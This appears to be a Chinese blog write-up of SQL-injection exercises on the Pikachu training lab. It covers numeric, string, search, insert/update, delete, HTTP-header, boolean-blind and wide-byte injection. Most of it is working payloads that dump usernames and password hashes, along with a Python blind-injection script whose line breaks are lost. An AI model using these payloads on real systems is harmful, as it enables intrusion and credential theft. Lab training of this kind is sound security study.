pikachu平台SQL注入
创始人
2024-03-08 03:55:55
0

pikachu平台SQL注入

日常心累、速通pikachu注入相关


目录

  • pikachu平台SQL注入
    • 使用到的名词解释
    • 1. 数字型注入 --使用bp处理数据包
    • 2. 字符型注入 --hackbar处理
    • 3. 搜索型注入
    • 4. xx型注入
    • 5. insert/update注入
    • 6. delete注入
    • 7. http头注入
    • 8. 布尔盲注
    • 9. 时间盲注
    • 10. 宽字节注入


使用到的名词解释

mysql信息收集
数据库版本: version()
数据库用户: user()
数据库名字: database()
操作系统: @@version_compile_os
记录所有数据库、表、字段的数据库: information_schema
information_schema.tables : 表
information_schema.columns : 字段
table_name:表名
column_name:字段名

1. 数字型注入 --使用bp处理数据包

确认注入点
id=3 and 1=1&submit=%E6%9F%A5%E8%AF%A2

确认最大返回数
id=3 order by 2&submit=%E6%9F%A5%E8%AF%A2

联合查询返回数据库版本,操作系统等数据
id=3 union select version(),@@version_compile_os&submit=%E6%9F%A5%E8%AF%A2

查表
id=3 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()&submit=%E6%9F%A5%E8%AF%A2

查字段
id=3 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'&submit=%E6%9F%A5%E8%AF%A2

查看字段值
id=3 union select 1,group_concat(concat_ws('~',username,password)) from users&submit=%E6%9F%A5%E8%AF%

2. 字符型注入 --hackbar处理

确认注入点
http://192.168.1.28/pikachu-master/vul/sqli/sqli_str.php?name=kobe'--+&submit=%E6%9F%A5%E8%AF%A2

由于是在同个数据库下,直接根据users表查字段
http://192.168.1.28/pikachu-master/vul/sqli/sqli_str.php?name=kobe' union select 1,group_concat(concat_ws('~',username,password)) from users--+&submit=%E6%9F%A5%E8%AF%A2

3. 搜索型注入

简单的sql语句:SELECT * FROM user WHERE username LIKE '小%';

确认注入点
http://192.168.1.28/pikachu-master/vul/sqli/sqli_search.php?name=kobe'--+&submit=%E6%90%9C%E7%B4%A2

直接查users字段
http://192.168.1.28/pikachu-master/vul/sqli/sqli_search.php?name=kobe' union select 1,2,group_concat(concat_ws('~',username,password)) from users--+&submit=%E6%90%9C%E7%B4%A2

4. xx型注入

确认注入点
http://192.168.1.28/pikachu-master/vul/sqli/sqli_x.php?name=kobe')--+&submit=%E6%9F%A5%E8%AF%A2

直接查字段
http://192.168.1.28/pikachu-master/vul/sqli/sqli_x.php?name=kobe') union select 1,group_concat(concat_ws('~',username,password)) from users--+&submit=%E6%9F%A5%E8%AF%A2

5. insert/update注入

由于不是查询语句,可以使用报错查询
在注册页面:
用户:qiye' || (extractvalue(1,concat(0x7e,(select(database())),0x7e))) || '
密码:随意
其余:随意

爆users字段
用户:' || (extractvalue(1,concat(0x7e,(select(group_concat(concat_ws('~',username,password)))from(users)),0x7e))) || '
密码:随意
其余:随意
报错返回:XPATH syntax error: 'admin~e10adc3949ba59abbe56e057f'
请添加图片描述

6. delete注入

删除时使用BP抓包,PHP会调用delete语句,让他报错就行

注入点
id=77+or+extractvalue(1,concat(0x7e,(select(database()),0x7e))

查users表字段值
id=77+or+extractvalue(1,concat(0x7e,(select(group_concat(concat_ws('~',username,password)))from(users)),0x7e))

请添加图片描述

7. http头注入

注入点
Accept: qiye' || (extractvalue(1,concat(0x7e,(select(database())),0x7e))) || '

查users中字段数据
Accept: ' || (extractvalue(1,concat(0x7e,(select(group_concat(concat_ws('~',username,password)))from(users)),0x7e))) || '
请添加图片描述

8. 布尔盲注

注入点
先找一个存在的username,所以用系统给的kobe,这里通过异或运算来逻辑判断正确与失败
http://192.168.1.28/pikachu-master/vul/sqli/sqli_blind_b.php?submit=%E6%9F%A5%E8%AF%A2&name=kobe' and 0^1--+

简单手工测试,这里测试数据库的第一个字符的ascii(根据前面已知数据库名为pikachu,故第一个字符为p,p的ascii码为112)
http://192.168.1.28/pikachu-master/vul/sqli/sqli_blind_b.php?submit=%E6%9F%A5%E8%AF%A2&name=kobe' and 0^(ascii(substr((select(database())),1,1))>111)--+

http://192.168.1.28/pikachu-master/vul/sqli/sqli_blind_b.php?submit=%E6%9F%A5%E8%AF%A2&name=kobe' and 0^(ascii(substr((select(database())),1,1))>112)--+
发现第一个payload有返回结果,第二个payload没有返回结果,故可以通过爆破字段的ascii码来获取数据,所以开始写poc:

import requests
import timeurl="http://192.168.1.28/pikachu-master/vul/sqli/sqli_blind_b.php?submit=%E6%9F%A5%E8%AF%A2&name=kobe' and "
name=''for i in range(1, 80):print(i)low = 31high = 127mid=(low + high) // 2while low < high:#payload = "0^(ascii(substr((select(database())),%d,1))>%d)--+" % (i, mid)#payload = "0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)--+"%(i, mid)#payload = "0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),%d,1))>%d)--+"%(i, mid)payload = "0^(ascii(substr((select(group_concat(username,'~',password))from(users)),%d,1))>%d)--+"%(i, mid)r = requests.get(url + payload)print(url + payload)if 'kobe' in r.text:   #kobe为文章内容,一旦正常返回,则字符爆破正确low = mid+1else:high=midmid = (low + high) // 2if(mid == 32):breakname = name + chr(mid)print (name)

请添加图片描述

9. 时间盲注

暂时不写,主要POC想想怎么写

10. 宽字节注入

name=kobe%df' union select 1,group_concat(username,password) from users--+&submit=%E6%9F%A5%E8%AF%A2
请添加图片描述

上一篇:15 【登录鉴权】

下一篇:为ubuntu配置WiFi

相关内容

热门资讯

靖国神社,被起诉 张昀/央视新闻 当地时间23日,二战期间被强征兵役的韩军遗属等举行记者会,介绍诉讼内容。 当地时间...
蓝科高新(601798)披露制... 截至2025年12月24日收盘,蓝科高新(601798)报收于9.0元,较前一交易日下跌0.33%,...
[视频]被日强征韩籍军人遗属起... 央视网消息(新闻联播):二战时期被日军强制征兵的部分韩籍军人的遗属23日向韩国首尔中央地方法院提起诉...
镇江经开民警巧妙化解停车纠纷,... 扬子晚报网12月24日讯(通讯员 毛润民 雷楚楚 记者 姜天圣)12月20日晚,镇江经开区丁卯派出所...
“国际”清风 | “宪法引领·... 在医院党委的高度重视和支持下,为深入学习宣传宪法、弘扬宪法精神,切实提升全院员工的法治素养,我院于第...
重庆大渡口刑警破获尘封40年命... 近日,重庆市大渡口区公安分局刑事侦查支队破获一起尘封40年的命案积案,并成功抓获一名潜逃28年的命案...
原创 中... 美军在公海强行扣押一艘中国油轮,抢走180万桶委内瑞拉原油。特朗普高调宣称:“油我们留着,船也要留着...
靖国神社被起诉,他们索赔8.8... 当地时间23日,二战时期被日军强制征兵的部分韩籍遇难者遗属向首尔中央地方法院提起诉讼,要求日本靖国神...
自贸港法规如何“量身定制”?海... 《海南自由贸易港建设总体方案》明确提出,分步骤、分阶段建立自由贸易港政策和制度体系。因此,“十四五”...
河北廊坊一学校催缴学生医保引家... 近日,河北廊坊市安次区有学生家长向奔流新闻反映,廊坊市第十七中学(小学部)老师在家长群发布医保催缴通...